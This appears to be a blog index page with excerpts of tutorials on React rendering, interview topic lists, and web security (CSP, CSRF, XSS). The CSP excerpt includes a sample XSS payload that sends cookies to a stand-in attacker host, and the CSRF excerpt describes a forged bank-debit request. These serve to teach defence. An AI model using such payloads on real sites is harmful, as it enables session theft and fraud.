myblog.pk

  🚀 The Evolution of Rendering in React: From Client-Side to Server Components React has evolved massively in how it renders pages, moving from Client-Side Rendering (CSR) to Server Components (RSC) to improve performance, SEO, and user experience. Let's break this down step by step: 🔥 1️⃣ Client-Side Rendering (CSR) – The Beginning 📌 What is CSR? In Client-Side Rendering (CSR) , the browser downloads a bare HTML file and a JavaScript bundle . React runs entirely in the browser , generating the UI dynamically. 📌 How it Works? Browser downloads an empty HTML file . Loads a large JavaScript bundle containing React code. React renders components dynamically and updates the DOM. 📌 Example: CSR in React (Create React App) function App ( ) { return < h1 > Hello, world! </ h1 > ; } export default App ; The entire app loads and renders in the browser . No content is present in the initial HTML file. 📌 Challenges of CSR: ❌ Slow First Page Load – A blank page ...

  React.js Topics for a Mid-Senior Level Developer Interview Preparation 1. Core Concepts React Component Types (Class vs Functional Components)✅ JSX and Rendering Elements✅ Props and Prop Validation✅ State Management (useState, class-based state)✅ Lifecycle Methods vs Hooks (useEffect)✅ 2. Advanced React Context API✅ Higher-Order Components (HOC)✅ Render Props✅ React Portals✅ Refs (createRef✅, useRef✅, forwardRef✅) Error Boundaries✅ Suspense and Lazy Loading✅ Strict Mode✅ Concurrent Rendering✅ 3. React Hooks Basic Hooks: useState, useEffect✅ Advanced Hooks: useContext✅, useReducer✅, useMemo✅, useCallback✅, useRef✅, useLayoutEffect✅ Custom Hooks (Creation and Use Cases)✅ 4. React Performance React.memo and useMemo✅ React Profiler Avoiding Re-renders (key, memoization, and immutability)✅ Code Splitting and Lazy Loading✅ Virtual DOM and Reconciliation✅ 5. Routing React Router (v6+): Route Configurations✅ Nested Routing✅ Dynamic Routing✅ Programmatic Navigation (useNavigate, useParams...

  Must read Topics for Mid Level Node.js Developer Interview Preparation 1. Core Node.js Fundamentals Node.js Architecture (Single-threaded, Event Loop, Non-blocking I/O)✅ Understanding require and ES Modules ( import/export )✅ Core Modules: fs path os events http / https stream (Readable, Writable, Transform, Duplex) Process Management: process (environment variables, process.nextTick , process.exit ) Handling Uncaught Exceptions Timers ( setTimeout , setInterval , setImmediate ) Working with Buffers Working with the File System ( fs.promises , async/await with fs ) Child Processes ( child_process , exec , spawn , fork ) 2. Package Management with npm and Yarn Managing dependencies ( package.json , package-lock.json )✅ Semantic Versioning ( ^ , ~ , exact versions)✅ Local vs. global packages✅ Scripts in package.json (e.g., npm run dev )✅ Using npx ✅ 3. Asynchronous Programming Callbacks✅ Promises✅ async/await ✅ Event Emitters Streams and Pipelining Error handling in async code...

  What is Content Security Policy (CSP)? Content Security Policy (CSP) is a security feature implemented by browsers that helps protect websites from various types of attacks, particularly Cross-Site Scripting (XSS) . It allows website owners to define which content (like scripts, images, or stylesheets) can be loaded and executed on their website. By setting a CSP , you tell the browser to only load resources from trusted sources and block potentially dangerous content, like malicious scripts injected by an attacker. This adds a strong layer of defense against attacks like XSS. How CSP Helps Prevent XSS Let's revisit the XSS scenario to understand how CSP can mitigate the attack. Recap of XSS Example The Vulnerability : Your website allows users to submit comments. The comments include HTML/JavaScript, which is displayed directly on the page without any sanitization. An attacker injects a malicious script (e.g., fetch('https://attacker-website.com/steal?cookie=' + docume...

  What is Cross-Site Request Forgery (CSRF)? CSRF (Cross-Site Request Forgery) is an attack where a malicious website tricks you into performing actions on a website you're already logged into, without your knowledge. It takes advantage of the fact that your browser automatically sends your login cookies or session tokens with requests, even if you didn’t mean to make them. e.g. Suppose the user logged in to https://my-bank.com in your browser Now the attacker will send you a fake website URL https://myshop.com Where there will be a button : Click here to get the best offers on branded products But there is a hidden request that the attacker has attached on click of the button that request goes to https://my-bank.com/debit?from=34343434&to=434434343&amount=10000 As the request is made cookies will be sent automatically with this request and if the mybank.com server depends only on cookie then it will give success to this request which was made internally in the https:...

  What is Cross-Site Scripting (XSS)? Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript code into a website. When other users visit that website, their browser unknowingly runs the attacker's script. This can lead to data theft, account hijacking, or unwanted actions on behalf of the user. Let's Understand with a Scenario Scenario: A Comment Section with XSS Vulnerability Your Website’s Feature : Your website ( https://my-frontend.com ) has a comment section. Users can post comments, and these comments are displayed on the webpage. The backend stores these comments in a database and renders them in HTML when users visit the page. The Vulnerability : Your website doesn’t sanitize user input . If a user submits any text, your backend or frontend directly displays it as-is on the page, without escaping special characters like < or > . Step-by-Step Attack Step 1: Attacker Identifies the Vulnerability The attacker tests your co...

  What is the Critical Rendering Path? The Critical Rendering Path (CRP) is the sequence of steps that a browser takes to convert HTML, CSS, and JavaScript into pixels on the screen. It focuses on the parts of the page necessary for the initial render , ensuring that content is displayed to the user as quickly as possible. The Critical Rendering Path is essential for web performance optimization because improving these steps can reduce the time it takes for a webpage to become visible and interactive. Why Does the Critical Rendering Path Matter? User Experience : Faster rendering improves the user's experience by reducing the time it takes for the webpage to load. SEO : Search engines like Google prioritize faster websites in their rankings. Performance Optimization : Understanding CRP helps you identify bottlenecks and improve loading speed. Key Steps in the Critical Rendering Path Let’s break down the process into simple steps: 1. HTML Parsing The browser downloads the HTML fi...